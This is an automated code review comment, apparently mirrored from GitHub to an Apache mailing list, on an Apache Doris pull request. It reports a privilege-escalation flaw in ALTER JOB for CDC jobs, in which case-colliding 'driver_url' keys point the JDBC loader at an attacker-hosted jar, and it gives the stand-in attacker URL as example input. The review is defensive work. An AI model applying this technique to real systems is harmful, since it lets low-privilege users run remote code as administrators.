github-actions[bot] commented on code in PR #69617:
URL: https://github.com/apache/doris/pull/69617#discussion_r4375703556


##########
fe/fe-core/src/main/java/org/apache/doris/nereids/trees/plans/commands/AlterJobCommand.java:
##########
@@ -306,6 +309,8 @@ private void checkUnmodifiableProperties(String 
originExecuteSql) throws Analysi
                         "The uri property cannot be modified in ALTER JOB");
                 break;
             case "cdc_stream":
+                StreamingJobUtils.checkCdcDriverPrivilege(ConnectContext.get(),
+                        
inputTvf.getProperties().getMap().get(DataSourceConfigKeys.DRIVER_URL));

Review Comment:
   [P1] Reject case-colliding driver keys before authorizing ALTER
   
   A LOAD-only caller can alter a paused ADMIN-created CDC TVF job using 
otherwise unchanged source/target identifiers and both 
`"driver_url"="file:///trusted/mysql.jar"` and 
`"Driver_url"="https://attacker/evil.jar"` (plus an attacker driver class). The 
parser preserves both keys, this lookup checks only the local lowercase value, 
and `validateProperties()` accepts the extra spelling. Later, 
`parseCommonProperties()` copies the properties through a `HashMap` into a 
case-insensitive `TreeMap`; for this pair, lowercase is inserted first and the 
mixed-case remote value overwrites it while retaining the lowercase key. 
`StreamingInsertTask.before()` plans as the persisted ADMIN creator, so the 
constructor's effective-value check passes and `getTableColumns()` reaches the 
remote JDBC loader. This works with a warm plan and no offset change, 
independently of the previously reported caller-context replacement. Reject 
case-insensitive duplicates before authorization, or check the same canoni
 cal properties the loader consumes, and cover this LOAD-only ALTER case.



-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: [email protected]

For queries about this service, please contact Infrastructure at:
[email protected]


---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]

Reply via email to